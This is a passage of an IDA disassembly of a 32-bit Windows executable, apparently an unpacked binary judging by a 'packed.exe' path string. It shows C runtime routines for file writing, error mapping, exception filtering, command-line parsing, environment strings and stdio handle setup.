loc_41CD82 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41CD6D inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41CD6D: ; CODE XREF: sub_41CCC7+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41CD4E loc_41CD82: ; CODE XREF: sub_41CCC7+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_421070 ; WriteFile test eax, eax jz short loc_41CDEC mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41CDBE mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41CD48 loc_41CDBE: ; CODE XREF: sub_41CCC7+EAj ; sub_41CCC7+12Ej xor edi, edi loc_41CDC0: ; CODE XREF: sub_41CCC7+150j ; sub_41CCC7+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41CE56 cmp [ebp+arg_0], edi jz short loc_41CE2F push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41CE24 mov dword_46B634, 9 mov dword_46B638, eax jmp loc_41CE6C ; --------------------------------------------------------------------------- loc_41CDEC: ; CODE XREF: sub_41CCC7+E0j call dword_421088 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41CDBE ; --------------------------------------------------------------------------- loc_41CDF7: ; CODE XREF: sub_41CCC7+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_421070 ; WriteFile test eax, eax jz short loc_41CE19 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41CDC0 ; --------------------------------------------------------------------------- loc_41CE19: ; CODE XREF: sub_41CCC7+145j call dword_421088 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41CDC0 ; --------------------------------------------------------------------------- loc_41CE24: ; CODE XREF: sub_41CCC7+10Fj push [ebp+arg_0] call sub_41CE74 pop ecx jmp short loc_41CE6C ; --------------------------------------------------------------------------- loc_41CE2F: ; CODE XREF: sub_41CCC7+7Bj ; sub_41CCC7+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41CE44 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41CD11 loc_41CE44: ; CODE XREF: sub_41CCC7+16Fj mov dword_46B634, 1Ch mov dword_46B638, edi jmp short loc_41CE6C ; --------------------------------------------------------------------------- loc_41CE56: ; CODE XREF: sub_41CCC7+FEj sub eax, [ebp+var_10] jmp short loc_41CE6F ; --------------------------------------------------------------------------- loc_41CE5B: ; CODE XREF: sub_41CCC7+15j ; sub_41CCC7+37j and dword_46B638, 0 mov dword_46B634, 9 loc_41CE6C: ; CODE XREF: sub_41CCC7+120j ; sub_41CCC7+166j ... or eax, 0FFFFFFFFh loc_41CE6F: ; CODE XREF: sub_41CCC7+4Cj ; sub_41CCC7+192j pop edi pop esi pop ebx leave retn sub_41CCC7 endp ; =============== S U B R O U T I N E ======================================= sub_41CE74 proc near ; CODE XREF: sub_417729+16p ; sub_41791C+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_46B638, ecx mov eax, offset dword_43A3B0 loc_41CE85: ; CODE XREF: sub_41CE74+1Ej cmp ecx, [eax] jz short loc_41CEA9 add eax, 8 inc edx cmp eax, offset dword_43A518 jl short loc_41CE85 cmp ecx, 13h jb short loc_41CEB6 cmp ecx, 24h ja short loc_41CEB6 mov dword_46B634, 0Dh retn ; --------------------------------------------------------------------------- loc_41CEA9: ; CODE XREF: sub_41CE74+13j mov eax, dword_43A3B4[edx*8] mov dword_46B634, eax retn ; --------------------------------------------------------------------------- loc_41CEB6: ; CODE XREF: sub_41CE74+23j ; sub_41CE74+28j cmp ecx, 0BCh jb short loc_41CED0 cmp ecx, 0CAh mov dword_46B634, 8 jbe short locret_41CEDA loc_41CED0: ; CODE XREF: sub_41CE74+48j mov dword_46B634, 16h locret_41CEDA: ; CODE XREF: sub_41CE74+5Aj retn sub_41CE74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEDB proc near ; CODE XREF: seg001:00417BFBp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_41D01C test eax, eax pop ecx jz loc_41D010 mov ebx, [eax+8] test ebx, ebx jz loc_41D010 cmp ebx, 5 jnz short loc_41CF0C and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41D019 ; --------------------------------------------------------------------------- loc_41CF0C: ; CODE XREF: sub_41CEDB+23j cmp ebx, 1 jz loc_41D00B mov ecx, dword_46B6E8 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_46B6E8, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41CFFB mov ecx, dword_43A590 mov edx, dword_43A594 add edx, ecx push esi cmp ecx, edx jge short loc_41CF5B lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43A520h[esi*4] loc_41CF52: ; CODE XREF: sub_41CEDB+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41CF52 loc_41CF5B: ; CODE XREF: sub_41CEDB+69j mov eax, [eax] mov esi, dword_43A59C cmp eax, 0C000008Eh jnz short loc_41CF76 mov dword_43A59C, 83h jmp short loc_41CFE6 ; --------------------------------------------------------------------------- loc_41CF76: ; CODE XREF: sub_41CEDB+8Dj cmp eax, 0C0000090h jnz short loc_41CF89 mov dword_43A59C, 81h jmp short loc_41CFE6 ; --------------------------------------------------------------------------- loc_41CF89: ; CODE XREF: sub_41CEDB+A0j cmp eax, 0C0000091h jnz short loc_41CF9C mov dword_43A59C, 84h jmp short loc_41CFE6 ; --------------------------------------------------------------------------- loc_41CF9C: ; CODE XREF: sub_41CEDB+B3j cmp eax, 0C0000093h jnz short loc_41CFAF mov dword_43A59C, 85h jmp short loc_41CFE6 ; --------------------------------------------------------------------------- loc_41CFAF: ; CODE XREF: sub_41CEDB+C6j cmp eax, 0C000008Dh jnz short loc_41CFC2 mov dword_43A59C, 82h jmp short loc_41CFE6 ; --------------------------------------------------------------------------- loc_41CFC2: ; CODE XREF: sub_41CEDB+D9j cmp eax, 0C000008Fh jnz short loc_41CFD5 mov dword_43A59C, 86h jmp short loc_41CFE6 ; --------------------------------------------------------------------------- loc_41CFD5: ; CODE XREF: sub_41CEDB+ECj cmp eax, 0C0000092h jnz short loc_41CFE6 mov dword_43A59C, 8Ah loc_41CFE6: ; CODE XREF: sub_41CEDB+99j ; sub_41CEDB+ACj ... push dword_43A59C push 8 call ebx pop ecx mov dword_43A59C, esi pop ecx pop esi jmp short loc_41D003 ; --------------------------------------------------------------------------- loc_41CFFB: ; CODE XREF: sub_41CEDB+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41D003: ; CODE XREF: sub_41CEDB+11Ej mov eax, [ebp+arg_0] mov dword_46B6E8, eax loc_41D00B: ; CODE XREF: sub_41CEDB+34j or eax, 0FFFFFFFFh jmp short loc_41D019 ; --------------------------------------------------------------------------- loc_41D010: ; CODE XREF: sub_41CEDB+Fj ; sub_41CEDB+1Aj push [ebp+arg_4] call dword_4211A4 ; UnhandledExceptionFilter loc_41D019: ; CODE XREF: sub_41CEDB+2Cj ; sub_41CEDB+133j pop ebx pop ebp retn sub_41CEDB endp ; =============== S U B R O U T I N E ======================================= sub_41D01C proc near ; CODE XREF: sub_41CEDB+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43A598 cmp dword_43A518, edx push esi mov eax, offset dword_43A518 jz short loc_41D049 lea esi, [ecx+ecx*2] lea esi, ds:43A518h[esi*4] loc_41D03E: ; CODE XREF: sub_41D01C+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41D049 cmp [eax], edx jnz short loc_41D03E loc_41D049: ; CODE XREF: sub_41D01C+16j ; sub_41D01C+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43A518h[ecx*4] cmp eax, ecx jnb short loc_41D05C cmp [eax], edx jz short locret_41D05E loc_41D05C: ; CODE XREF: sub_41D01C+3Aj xor eax, eax locret_41D05E: ; CODE XREF: sub_41D01C+3Ej retn sub_41D01C endp ; =============== S U B R O U T I N E ======================================= sub_41D05F proc near ; CODE XREF: seg001:00417BBDp cmp dword_46CCB4, 0 jnz short loc_41D06D call sub_41CC21 loc_41D06D: ; CODE XREF: sub_41D05F+7j push esi mov esi, dword_46CCAC mov al, [esi] cmp al, 22h jnz short loc_41D09F loc_41D07A: ; CODE XREF: sub_41D05F+33j ; sub_41D05F+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41D097 test al, al jz short loc_41D097 movzx eax, al push eax call sub_41EF4C test eax, eax pop ecx jz short loc_41D07A inc esi jmp short loc_41D07A ; --------------------------------------------------------------------------- loc_41D097: ; CODE XREF: sub_41D05F+21j ; sub_41D05F+25j cmp byte ptr [esi], 22h jnz short loc_41D0A9 loc_41D09C: ; CODE XREF: sub_41D05F+52j inc esi jmp short loc_41D0A9 ; --------------------------------------------------------------------------- loc_41D09F: ; CODE XREF: sub_41D05F+19j cmp al, 20h jbe short loc_41D0A9 loc_41D0A3: ; CODE XREF: sub_41D05F+48j inc esi cmp byte ptr [esi], 20h ja short loc_41D0A3 loc_41D0A9: ; CODE XREF: sub_41D05F+3Bj ; sub_41D05F+3Ej ... mov al, [esi] test al, al jz short loc_41D0B3 cmp al, 20h jbe short loc_41D09C loc_41D0B3: ; CODE XREF: sub_41D05F+4Ej mov eax, esi pop esi retn sub_41D05F endp ; =============== S U B R O U T I N E ======================================= sub_41D0B7 proc near ; CODE XREF: seg001:00417BA6p push ebx xor ebx, ebx cmp dword_46CCB4, ebx push esi push edi jnz short loc_41D0C9 call sub_41CC21 loc_41D0C9: ; CODE XREF: sub_41D0B7+Bj mov esi, dword_46B680 xor edi, edi loc_41D0D1: ; CODE XREF: sub_41D0B7+30j mov al, [esi] cmp al, bl jz short loc_41D0E9 cmp al, 3Dh jz short loc_41D0DC inc edi loc_41D0DC: ; CODE XREF: sub_41D0B7+22j push esi call sub_415B10 pop ecx lea esi, [esi+eax+1] jmp short loc_41D0D1 ; --------------------------------------------------------------------------- loc_41D0E9: ; CODE XREF: sub_41D0B7+1Ej lea eax, ds:4[edi*4] push eax call sub_415BE9 mov esi, eax pop ecx cmp esi, ebx mov dword_46B65C, esi jnz short loc_41D10B push 9 call sub_417C0E pop ecx loc_41D10B: ; CODE XREF: sub_41D0B7+4Aj mov edi, dword_46B680 cmp [edi], bl jz short loc_41D14E push ebp loc_41D116: ; CODE XREF: sub_41D0B7+94j push edi call sub_415B10 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41D147 push ebp call sub_415BE9 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41D13A push 9 call sub_417C0E pop ecx loc_41D13A: ; CODE XREF: sub_41D0B7+79j push edi push dword ptr [esi] call sub_415A20 pop ecx add esi, 4 pop ecx loc_41D147: ; CODE XREF: sub_41D0B7+6Cj add edi, ebp cmp [edi], bl jnz short loc_41D116 pop ebp loc_41D14E: ; CODE XREF: sub_41D0B7+5Cj push dword_46B680 call sub_415C9B pop ecx mov dword_46B680, ebx mov [esi], ebx pop edi pop esi mov dword_46CCB0, 1 pop ebx retn sub_41D0B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D170 proc near ; CODE XREF: seg001:00417BA1p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_46CCB4, ebx push esi push edi jnz short loc_41D187 call sub_41CC21 loc_41D187: ; CODE XREF: sub_41D170+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call dword_42107C ; GetModuleFileNameA mov eax, dword_46CCAC mov off_46B66C, esi mov edi, esi cmp [eax], bl jz short loc_41D1AC mov edi, eax loc_41D1AC: ; CODE XREF: sub_41D170+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_41D209 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_415BE9 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41D1DC push 8 call sub_417C0E pop ecx loc_41D1DC: ; CODE XREF: sub_41D170+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41D209 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_46B654, esi pop edi pop esi mov dword_46B650, eax pop ebx leave retn sub_41D170 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D209 proc near ; CODE XREF: sub_41D170+47p ; sub_41D170+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41D233 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41D233: ; CODE XREF: sub_41D209+20j cmp byte ptr [eax], 22h jnz short loc_41D27C loc_41D238: ; CODE XREF: sub_41D209+58j ; sub_41D209+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41D26A test dl, dl jz short loc_41D26A movzx edx, dl test byte_46CB81[edx], 4 jz short loc_41D25D inc dword ptr [ecx] test esi, esi jz short loc_41D25D mov dl, [eax] mov [esi], dl inc esi inc eax loc_41D25D: ; CODE XREF: sub_41D209+46j ; sub_41D209+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41D238 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41D238 ; --------------------------------------------------------------------------- loc_41D26A: ; CODE XREF: sub_41D209+36j ; sub_41D209+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41D274 and byte ptr [esi], 0 inc esi loc_41D274: ; CODE XREF: sub_41D209+65j cmp byte ptr [eax], 22h jnz short loc_41D2BF inc eax jmp short loc_41D2BF ; --------------------------------------------------------------------------- loc_41D27C: ; CODE XREF: sub_41D209+2Dj ; sub_41D209+A5j inc dword ptr [ecx] test esi, esi jz short loc_41D287 mov dl, [eax] mov [esi], dl inc esi loc_41D287: ; CODE XREF: sub_41D209+77j mov dl, [eax] inc eax movzx ebx, dl test byte_46CB81[ebx], 4 jz short loc_41D2A2 inc dword ptr [ecx] test esi, esi jz short loc_41D2A1 mov bl, [eax] mov [esi], bl inc esi loc_41D2A1: ; CODE XREF: sub_41D209+91j inc eax loc_41D2A2: ; CODE XREF: sub_41D209+8Bj cmp dl, 20h jz short loc_41D2B0 test dl, dl jz short loc_41D2B4 cmp dl, 9 jnz short loc_41D27C loc_41D2B0: ; CODE XREF: sub_41D209+9Cj test dl, dl jnz short loc_41D2B7 loc_41D2B4: ; CODE XREF: sub_41D209+A0j dec eax jmp short loc_41D2BF ; --------------------------------------------------------------------------- loc_41D2B7: ; CODE XREF: sub_41D209+A9j test esi, esi jz short loc_41D2BF and byte ptr [esi-1], 0 loc_41D2BF: ; CODE XREF: sub_41D209+6Ej ; sub_41D209+71j ... and [ebp+arg_10], 0 loc_41D2C3: ; CODE XREF: sub_41D209+19Ej cmp byte ptr [eax], 0 jz loc_41D3AC loc_41D2CC: ; CODE XREF: sub_41D209+D0j mov dl, [eax] cmp dl, 20h jz short loc_41D2D8 cmp dl, 9 jnz short loc_41D2DB loc_41D2D8: ; CODE XREF: sub_41D209+C8j inc eax jmp short loc_41D2CC ; --------------------------------------------------------------------------- loc_41D2DB: ; CODE XREF: sub_41D209+CDj cmp byte ptr [eax], 0 jz loc_41D3AC test edi, edi jz short loc_41D2F0 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41D2F0: ; CODE XREF: sub_41D209+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41D2F5: ; CODE XREF: sub_41D209+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41D2FE: ; CODE XREF: sub_41D209+FCj cmp byte ptr [eax], 5Ch jnz short loc_41D307 inc eax inc ebx jmp short loc_41D2FE ; --------------------------------------------------------------------------- loc_41D307: ; CODE XREF: sub_41D209+F8j cmp byte ptr [eax], 22h jnz short loc_41D338 test bl, 1 jnz short loc_41D336 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41D325 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41D325 mov eax, edx jmp short loc_41D328 ; --------------------------------------------------------------------------- loc_41D325: ; CODE XREF: sub_41D209+10Dj ; sub_41D209+116j mov [ebp+arg_0], edi loc_41D328: ; CODE XREF: sub_41D209+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41D336: ; CODE XREF: sub_41D209+106j shr ebx, 1 loc_41D338: ; CODE XREF: sub_41D209+101j mov edx, ebx dec ebx test edx, edx jz short loc_41D34D inc ebx loc_41D340: ; CODE XREF: sub_41D209+142j test esi, esi jz short loc_41D348 mov byte ptr [esi], 5Ch inc esi loc_41D348: ; CODE XREF: sub_41D209+139j inc dword ptr [ecx] dec ebx jnz short loc_41D340 loc_41D34D: ; CODE XREF: sub_41D209+134j mov dl, [eax] test dl, dl jz short loc_41D39D cmp [ebp+arg_10], 0 jnz short loc_41D363 cmp dl, 20h jz short loc_41D39D cmp dl, 9 jz short loc_41D39D loc_41D363: ; CODE XREF: sub_41D209+14Ej cmp [ebp+arg_0], 0 jz short loc_41D397 test esi, esi jz short loc_41D386 movzx ebx, dl test byte_46CB81[ebx], 4 jz short loc_41D37F mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41D37F: ; CODE XREF: sub_41D209+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41D395 ; --------------------------------------------------------------------------- loc_41D386: ; CODE XREF: sub_41D209+162j movzx edx, dl test byte_46CB81[edx], 4 jz short loc_41D395 inc eax inc dword ptr [ecx] loc_41D395: ; CODE XREF: sub_41D209+17Bj ; sub_41D209+187j inc dword ptr [ecx] loc_41D397: ; CODE XREF: sub_41D209+15Ej inc eax jmp loc_41D2F5 ; --------------------------------------------------------------------------- loc_41D39D: ; CODE XREF: sub_41D209+148j ; sub_41D209+153j ... test esi, esi jz short loc_41D3A5 and byte ptr [esi], 0 inc esi loc_41D3A5: ; CODE XREF: sub_41D209+196j inc dword ptr [ecx] jmp loc_41D2C3 ; --------------------------------------------------------------------------- loc_41D3AC: ; CODE XREF: sub_41D209+BDj ; sub_41D209+D5j test edi, edi jz short loc_41D3B3 and dword ptr [edi], 0 loc_41D3B3: ; CODE XREF: sub_41D209+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41D209 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BD proc near ; CODE XREF: seg001:00417B97p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_46B7F0 push ebx push ebp mov ebp, dword_42103C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41D40B call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41D3EC mov dword_46B7F0, 1 jmp short loc_41D414 ; --------------------------------------------------------------------------- loc_41D3EC: ; CODE XREF: sub_41D3BD+21j call dword_421040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_41D4E6 mov dword_46B7F0, 2 jmp loc_41D49A ; --------------------------------------------------------------------------- loc_41D40B: ; CODE XREF: sub_41D3BD+19j cmp eax, 1 jnz loc_41D495 loc_41D414: ; CODE XREF: sub_41D3BD+2Dj cmp esi, ebx jnz short loc_41D424 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_41D4E6 loc_41D424: ; CODE XREF: sub_41D3BD+59j cmp [esi], bx mov eax, esi jz short loc_41D439 loc_41D42B: ; CODE XREF: sub_41D3BD+73j ; sub_41D3BD+7Aj inc eax inc eax cmp [eax], bx jnz short loc_41D42B inc eax inc eax cmp [eax], bx jnz short loc_41D42B loc_41D439: ; CODE XREF: sub_41D3BD+6Cj sub eax, esi mov edi, dword_421138 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_41D48A push ebp call sub_415BE9 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41D48A push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_41D486 push [esp+18h+var_8] call sub_415C9B pop ecx mov [esp+18h+var_8], ebx loc_41D486: ; CODE XREF: sub_41D3BD+B9j mov ebx, [esp+18h+var_8] loc_41D48A: ; CODE XREF: sub_41D3BD+99j ; sub_41D3BD+A8j push esi call dword_421044 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_41D4E8 ; --------------------------------------------------------------------------- loc_41D495: ; CODE XREF: sub_41D3BD+51j cmp eax, 2 jnz short loc_41D4E6 loc_41D49A: ; CODE XREF: sub_41D3BD+49j cmp edi, ebx jnz short loc_41D4AA call dword_421040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_41D4E6 loc_41D4AA: ; CODE XREF: sub_41D3BD+DFj cmp [edi], bl mov eax, edi jz short loc_41D4BA loc_41D4B0: ; CODE XREF: sub_41D3BD+F6j ; sub_41D3BD+FBj inc eax cmp [eax], bl jnz short loc_41D4B0 inc eax cmp [eax], bl jnz short loc_41D4B0 loc_41D4BA: ; CODE XREF: sub_41D3BD+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_415BE9 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41D4D0 xor esi, esi jmp short loc_41D4DB ; --------------------------------------------------------------------------- loc_41D4D0: ; CODE XREF: sub_41D3BD+10Dj push ebp push edi push esi call sub_4153F0 add esp, 0Ch loc_41D4DB: ; CODE XREF: sub_41D3BD+111j push edi call dword_4211A8 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_41D4E8 ; --------------------------------------------------------------------------- loc_41D4E6: ; CODE XREF: sub_41D3BD+39j ; sub_41D3BD+61j ... xor eax, eax loc_41D4E8: ; CODE XREF: sub_41D3BD+D6j ; sub_41D3BD+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41D3BD endp ; =============== S U B R O U T I N E ======================================= sub_41D4EF proc near ; CODE XREF: seg001:00417B87p var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_415BE9 mov esi, eax pop ecx test esi, esi jnz short loc_41D50F push 1Bh call sub_417C0E pop ecx loc_41D50F: ; CODE XREF: sub_41D4EF+16j mov dword_46C960, esi mov dword_46CA60, 20h lea eax, [esi+100h] loc_41D525: ; CODE XREF: sub_41D4EF+52j cmp esi, eax jnb short loc_41D543 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_46C960 add esi, 8 add eax, 100h jmp short loc_41D525 ; --------------------------------------------------------------------------- loc_41D543: ; CODE XREF: sub_41D4EF+38j lea eax, [esp+54h+var_44] push eax call dword_421164 ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_41D61F mov eax, [esp+54h+var_10] test eax, eax jz loc_41D61F mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41D579 mov esi, eax loc_41D579: ; CODE XREF: sub_41D4EF+86j cmp dword_46CA60, esi jge short loc_41D5D3 mov edi, offset dword_46C964 loc_41D586: ; CODE XREF: sub_41D4EF+DAj push 100h call sub_415BE9 test eax, eax pop ecx jz short loc_41D5CD add dword_46CA60, 20h mov [edi], eax lea ecx, [eax+100h] loc_41D5A4: ; CODE XREF: sub_41D4EF+CFj cmp eax, ecx jnb short loc_41D5C0 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41D5A4 ; --------------------------------------------------------------------------- loc_41D5C0: ; CODE XREF: sub_41D4EF+B7j add edi, 4 cmp dword_46CA60, esi jl short loc_41D586 jmp short loc_41D5D3 ; --------------------------------------------------------------------------- loc_41D5CD: ; CODE XREF: sub_41D4EF+A4j mov esi, dword_46CA60 loc_41D5D3: ; CODE XREF: sub_41D4EF+90j ; sub_41D4EF+DCj xor edi, edi test esi, esi jle short loc_41D61F loc_41D5D9: ; CODE XREF: sub_41D4EF+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41D616 mov cl, [ebp+0] test cl, 1 jz short loc_41D616 test cl, 8 jnz short loc_41D5F8 push eax call dword_421030 ; GetFileType test eax, eax jz short loc_41D616 loc_41D5F8: ; CODE XREF: sub_41D4EF+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_46C960[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41D616: ; CODE XREF: sub_41D4EF+EFj ; sub_41D4EF+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41D5D9 loc_41D61F: ; CODE XREF: sub_41D4EF+65j ; sub_41D4EF+71j ... xor ebx, ebx loc_41D621: ; CODE XREF: sub_41D4EF+195j mov eax, dword_46C960 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41D67C test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41D63C push 0FFFFFFF6h pop eax jmp short loc_41D646 ; --------------------------------------------------------------------------- loc_41D63C: ; CODE XREF: sub_41D4EF+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41D646: ; CODE XREF: sub_41D4EF+14Bj push eax call dword_421034 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41D66B push edi call dword_421030 ; GetFileType test eax, eax jz short loc_41D66B and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41D671 loc_41D66B: ; CODE XREF: sub_41D4EF+163j ; sub_41D4EF+16Ej or byte ptr [esi+4], 40h jmp short loc_41D680 ; --------------------------------------------------------------------------- loc_41D671: ; CODE XREF: sub_41D4EF+17Aj cmp eax, 3 jnz short loc_41D680 or byte ptr [esi+4], 8 jmp short loc_41D680 ; --------------------------------------------------------------------------- loc_41D67C: ; CODE XREF: sub_41D4EF+13Ej or byte ptr [esi+4], 80h loc_41D680: ; CODE XREF: sub_41D4EF+180j ; sub_41D4EF+185j ... inc ebx cmp ebx, 3 jl short loc_41D621 push dword_46CA60 call dword_421038 ; SetHandleCount pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_41D4EF endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6A4 proc near ; DATA XREF: seg001:00417B22o ; sub_41AF25+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41D744 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41D6D7: ; CODE XREF: sub_41D6A4+90j cmp esi, 0FFFFFFFFh jz short loc_41D73D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41D72B push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41D72B js short loc_41D736 mov edi, [ebx+8] push ebx call sub_416200 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_416242 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_4162D6 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41D72B: ; CODE XREF: sub_41D6A4+40j ; sub_41D6A4+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41D6D7 ; --------------------------------------------------------------------------- loc_41D736: ; CODE XREF: sub_41D6A4+54j mov eax, 0 jmp short loc_41D759 ; --------------------------------------------------------------------------- loc_41D73D: ; CODE XREF: sub_41D6A4+36j mov eax, 1 jmp short loc_41D759 ; --------------------------------------------------------------------------- loc_41D744: ; CODE XREF: sub_41D6A4+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_416242 add esp, 8 pop ebp mov eax, 1 loc_41D759: ; CODE XREF: sub_41D6A4+97j ; sub_41D6A4+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D6A4 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov 